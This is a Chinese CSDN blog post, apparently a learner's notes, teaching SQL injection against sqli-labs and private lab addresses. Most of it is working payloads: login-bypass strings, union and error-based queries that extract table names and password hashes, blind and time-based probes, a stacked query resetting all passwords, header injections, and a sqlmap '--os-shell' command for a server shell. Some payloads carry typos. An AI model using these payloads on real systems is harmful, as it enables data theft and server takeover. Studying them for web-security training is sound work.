注入——sql注入命令

最新推荐文章于 2024-04-30 05:11:54 发布
最新推荐文章于 2024-04-30 05:11:54 发布
阅读量1.7k 收藏 9
点赞数 4
分类专栏： OWASP 文章标签： sql 数据库 mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_55404107/article/details/127347429
版权

SQL注入漏洞防御

SQL注入—结构化查询语言，是一种特殊的编程语言，用于数据库的标准数据库查询。

SQL 注入(SQL Injection)是一种常见的Web 安全漏洞。攻击者利用这个漏洞，可以增删改查数据库中数据，或者利用潜在的数据库漏洞进行攻击

  • 增、删、改、查
  • 读、写
  • 提权(*)

SQL 注入原理

  1. 万能用户名或密码

    ——在不知道密码的情况下，成功登录

    777' or 1=1 #
admin' or '1'='1

    登录逻辑

    • 通过POST 方式获取用户名和密码
    • 构造SQL 语句以用户名和密码作为查询条件进行查询，并且是单引号闭合
    • 如果SQL 语句正确执行并且结果集对象中有记录则提示登录成功；
    • 否则，登录失败
    拼接问题
    select userid form cms_users where username = '{用户名}' and password = '{md5(密码)}'

slect userid from cms_users where username = 'admin' or '1'='1 and password = 'md5(777)'

SQL 注入总结

SQL 注入的攻击行为可以描述为，用户通过在SQL注入点，通过注入SQL 语法，破坏原有SQL 结构，达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的：

  • 程序员在处理程序和数据库交互时，使用字符串拼接的方式构造SQL 语句
  • 未对用户可控参数进行足够的过滤，便将参数内容拼接到SQL 语句中
SQL 注入危害

攻击者可以利用 SQL 注入漏洞，可以获取数据库中的多种信息(例如：后台管理员账户密码)。从而获取数据库中的内容。在特别的情况下还可以插入内容到数据库 、删除数据库中的内容或者修改数据库内容。若数据库权限分配存在问题(当然很少见)，或者数据库本身存在缺陷，攻击者可以利用SQL 注入漏洞直接获取WebShell ，或者服务器权限。

SQL 注入漏洞的分类

根据不同的标准，SQL 注入漏洞可以有不同的分类:

两大基本类型：
  • 数字型
  • 字符型
注入手法：

联合查询、报错注入、布尔盲注、延时注入、堆叠查询…

提交参数的方式:

GET 注入、POST 注入、Cookie 注入、HTTP注入

SQL 注入漏洞挖掘

  • 注入点判断

    ——在疑似注入点的地方尝试提交数据，进行判断是否存在SQL 注入漏洞

步骤测试数据判断
1-1 或者 +1是否有回显
2‘ 或者 “是否显示数据库错误信息，并根据内容判断是字符型还是数字型
3and 1=1(为真)
and 1=2(为假)		回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面是否延时
5\判断转义(少)

如果我们提交的数据没有显示到页面，为数字性注入

如果提交的数据显示到页面，为字符型注入

判断时关注的问题

判断注入所得结果解释
回显数据库中的内容是否会回显在网页中
数据库报错数据库报错信息是否会回显在网页中
根据报错的信息进行判断，提交的数据类型是字符型还是数字型，若为字符型数据，闭合方式是什么？
布尔类型状态显示的页面不同，形成对比。页面正常或者不正常也就是and 1=1
and 1=2
延时让数据库延时响应的时间

order by —判断列数

注入点

  • 判断是否有回显
例：
http://172.143.4.12/cswara.php?id=12
http://172.143.4.12/cswara.php?id=13
-------------
#有回显
  • 是否有报错
http://172.143.4.12/cswara.php?id=13
-------------
# near ''' at line 1
#中间的单引号才是SQL 语句的内容
#select * from tc_name where id=13
#13 没有出现在报错信息中，说明是数字型注入
----
#有报错
  • 是否有布尔类型状态
http://172.143.4.12/cswara.php?id=13 and 1=1 #页面正常
http://172.143.4.12/cswara.php?id=13 and 1=2 #页面不正常

-------
#有布尔类型状态
  • 是否有延时
http://172.143.4.12/cswara.php?id=13 and sleep(5)
-----
#有延时

知识补充

MySQL 中的注释URL 中的表现
[-- ] :减减空格(三个字符)–+
[#]:井号%23
[/*!5000 ok/]:内联注释

代替空格的字符

?id=1 '%0Aand%0A1=1%23
?id=1 '%0Band%0B1=1%23
?id=1 '%0Dand%0D1=2%23
?id=1 '%A0and%A01=2%23

SQL 注入基本手法

联合查询

——使用 union select 语句，实现跨库、跨表查询

例如：
前提：使用order by 得知列为4，并根据and 1=2 使页面报错得知3,4出现注入点
-----------------------------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(table_name form) from information_schema.tables where table_schema =database()
#获取表名
----------------
?id=1' and 1=2 union select 1,2,pi(),group_concat(column_name form) from information_schema.columns where table_schema =database() and table_name = 'users'
#获取users表中的字段
---------------
?id=1' and 1=2 union select 1,2,pi(),concat(username,0x3a,password) from= 'users'
#获取字段里的用户和密码信息

报错注入

*原理：*先SQL注入点进行SQL报错注入，在报错信息中执行SQL 语句。触发报错的方式有很多，具体细节也不尽相同。此处建议直接背公式，将公式带换掉 and 1=1 的部分。

在注入点的判断过程中，发现数据库中SQL语句的报错信息，会显示在页面中，因此 利用报错信息进行注入

group by 重复键冲突
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select database()), 0x5e,floor(rand()*2))x from information schema. tables group by x)a) 
-----------------------------
?id=33 and (select 1 from (select count(* ), concat( 0x5e, (select password from cms_ users limit 0,1), 0x5e, floor(rand()*2))x from information_ schema . tables group by x)a)
extractvalue
?id=33 and extractvalue(1, concat( 0x5e, (select database()), 0x5e))
?id=33 and extractvalue(1, concat ( 0x5e, substr((select password from cms_ users),17,32), 0x5e))
updatexml
?id=33 and updatexml(1, concat (0x5e, (select database()), 0x5e),1)
?id=33 and updatexml(1, concat(0x5e, (select substr(password,1,16) from cms_ users),0x5e),1)
?id=33 and updatexm1(1, concat (0x5e, (select substr( password,17,32) from cms_ users), 0x5e),1)

布尔盲注

页面中有布尔类型的状态，可以根据布尔类型状态，对数据库中的内容进行判断

  • 数据库名爆破

  • /oiw/?id=3' and database()='xx' --+
#不知道数据库位数
#不知道数据库名的字符集合
#爆破成本很高(费时费力)

  • 数据库名字长度

  • /oiw/?id=3' and length(database())=8 --+
#若使用上述代码 ，页面正常(也就是你使用and 1=1等注入验证的时候，或者是刚登录的时候)，就说明数据库名长度为8.

  • 按位测试

  • #第一位
/oiw/?id=3' and ascii(substr (database( ),1,1))=115 --+
#通过测试
#115
#a
#第二位
/oiw/?id=3' and ascii(substr (database( ),2,1))=101 --+
#通过测试
#115 101
#a	  b
#第三位
....

  • 半自动注入

    • 也就是使用burpsuite进行爆破

延时注入

  • 使用sleep()，以响应时间为判断条件

  • 数据库名长度

    • /sswra/gewa/?id=1' and if(length(database())>1,sleep(5),1) --+
#页面有延时

  • 数据库名字

    • /sswra/gewa/?id=1' and if(length(database(),3,1)>='a',sleep(5),1) --+
#77 89 103
#a   b   c
#就是根据一些别的信息进行猜测，这点是信息搜集，途径有很多种，这里不过多阐述

堆叠查询

一次HTTP请求，可以同时执行多条SQL语句，包括增删改查操作

以sqli-labs 第38关为例子

?id=2';update users set password='123456' --+
  • SQL 注入点不止会出现在GET 参数或POST 参数中
Cookie 注入

  • 注入点在Cookie数据中，以sqli-labs-20为例子。

  • GET /sqli- labs/Less-20/index. php HTTP/1.1
Host: 10.4.7 .128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Referer: http://10. 4.7.128/sqli- labs/Less -20/
DNT: 1
Connection: close
---------
Cookie: uname=Dumb' and 1=2 union select 1, version( ), database() 
#使用bp抓包，进行cookie注入
---------
Upgrade- Insecure- Requests: 1
Cache-Control: max-age=0
base64 注入

  • 注入的参数需要进行base64 编码，这里以sqli-labs-22关为例子

  • GET /sqli- labs/Less-22/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-US, en;q=0.5
Accept -Encoding: gzip, deflate
Referer: http://10. 4.7.128/sqli- labs/Less -22/
DNT: 1
Connection: close
Cookie: 
-------
#进行base64编码后，注入
uname=RHVtYiIgYW5kIDE9MiB1 bmlvbi Bz Zwx1Y3QgMSx2ZXJzaW9uKCksZGFOYWJhc2UoKSM=
------
Upgrade- Insecure- Requests: 1
User-Agent 注入

  • 注入的参数子啊User-Agent中，以sqli-labs-18关为例子

  • POST /sqli-labs/Less-18/ HTTP/1.1
Host: 10.4.7.128
-------
#在User-Agent中注入
User-Agent: Hello' and updatexm1(1, concat ( 0x5e, ( select database()),0x5e),1) and '1
-------
Accept: text/html, applicat ion/xhtml+xml, application/ xm1;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Content-Type: application/ x -WWw- form-urlencoded
Content-Length: 36
Origin: http://10.4. 7.128
DNT: 1
Connection: close
Referer: http://10.4.7. 128/sqli- labs/Less-18/
Upgr ade- Insecure- Requests: 1



  • uname=Dumb&pas swd=Dumb&submit =Submit
Referer注入
  • POST /sqli-labs/Less-19/ HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_ 64; rv: 78.0) Gecko/ 20100101 Firefox/ 78.0
Accept: text/html, applicat ion/xhtml+xml, application/ xml;q=0.9, image/webp, */* ;q=0.8
Accept -Language: en-Us, en;q=0.5
Accept -Encoding: gzip, deflate
Content-Type: application/ x -WWw- form-urlencoded
Content- Length: 36
Origin: http://10.4. 7.128
DNT: 1
Connection: close
----
Referer: Hello' and updatexml(1, concat (0x5e, (select database()), 0x5e),1) and '1
----
Upgrade- Insecure- Requests: 1
post注入
sqlmap -r /tmp/login.post
GetShell
sqlmap -u "http://10.23.176.12/ show. php?id=33" --os-shell
  • 受到secure_file_priv选项的限制；
  • 目标系统Web根目录的绝对路径

#10-16

不是为了猿而圆
关注
  • 4
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sql注入详解
m0_67392811的博客
06-12 5799
目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言（Structured Query Language，缩写：SQL），是一种特殊的编程语言，用于数据库中的标准数据查询语言。SQL注入（SQL Injection）是一种常见的Web安全漏洞，主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没
SQL注入命令执行
qq_50034496的博客
07-06 1368
SQL注入命令执行
WEB安全基础入门—操作系统命令注入（shell 注入）_文件参数 shell 命令注入
最新发布
2401_84186067的博客
04-30 715
攻击者可在服务器端执行任意系统（OS）命令，获取敏感数据。通常攻击者会尝试利用系统内部的信任关系，将攻击转移到系统内的其他系统，获取更大权限。
命令注入实操与总结
qq_51582652的博客
03-24 1997
这个内容是为了了解命令注入攻击的过程，掌握思路。记一次DVWA靶场的通关，commix-testbed靶场的实验。
渗透测试---手把手教你SQL注入(12)---SQLsever利用SA权限执行系统命令--getshell
weixin_52796034的博客
10-21 1014
渗透测试---手把手教你SQL注入(10)---SQL注入拓展总结渗透测试---手把手教你SQL注入(11)---SQL注入拓展总结(SQLsever在线靶场实战)本节我们来讨论在SQLserver注入过程中的权限问题----
命令注入
extremecold
09-02 6471
命令：这里指的是操作系统的命令 命令注入：通过web程序，在服务器上拼接系统命令。 命令注入流程： 是否调用系统命令 函数或函数的参数是否可控 是否拼接注入命令 low等级 正常情况下，是ping一个IP地址。确定调用系统命令 确定可控字段 确定命令语句，&&可以连接两条Windows命令 验证 medium等级 一个&也可以...
啊D——SQL注入工具
12-01
啊D注入工具
SQL注入——mssql注入
01-19
可以在 SQL Server 中执行任何活动。 serveradmin  可以设置服务器范围的配置选项，关闭服务器。 setupadmin 可以管理链接服务器和启动过程，并执行某些系统存储过程(sp_...
PHP——SQL注入测试靶场
05-27
【PHP——SQL注入测试靶场】是一个用于学习和实践SQL注入漏洞的安全平台，它通过PHP编程语言构建，目的是帮助开发者和网络安全爱好者理解SQL注入的工作原理，以及如何防范这种常见的Web安全威胁。SQL注入是一种攻击...
pangolinsdl—sql注入工具
06-20
**SQL注入工具——PangolinsDL详解** SQL注入是一种常见的网络安全漏洞，它允许攻击者通过输入恶意的SQL代码来操纵或获取数据库中的敏感信息。针对这种威胁，开发者和安全研究人员常常使用SQL注入工具来进行测试和...
sql注入初学——松风1
08-03
1.加单引号 3.时间延迟 2.盲跟踪 3.利用系统表 4.利用返回信息 5.从基于 UNION 的错误中推断 DBMS 版本 1.匹配列 2.匹配数据类型 3
最详细的SQL注入相关的命令整理
04-24
最详细的SQL注入相关的命令整理 (转) 很详细的！
sql注入的常用命令
09-18
sql注入的常用命令，个人总结，适合一些小白使用，大神可以了解了解，有错请指出。
sql手工注入
qq_59060705的博客
12-10 273
手工注入代码
SQLmap
m0_65332604的博客
04-06 2112
SQLmap
SQL注入命令
小飞鸟
10-13 3759
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称 sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称 sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名 sqlmap...
Sqlmap常用指令
安全汪
11-06 5179
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称 sqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名 sqlmap -
SQL注入的一个简单实例
热门推荐
u012436758的博客
12-25 1万+
很多Web应用程序都使用数据库来存储信息。SQL命令就是前端Web和后端数据库之间的接口，使得数据可以传递至Web应用程序。很多Web站点都会利用用户输入的参数动态地生成SQL查询要求，攻击者通过在URL、表单域，或者其他的输入域中输入自己的SQL命令，以此改变查询属性，骗过应用程序，从而可以对数据进行不受限的访问。
网络安全技术13SQL注入.pptx
11-12
网络安全技术13SQL注入.pptx

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值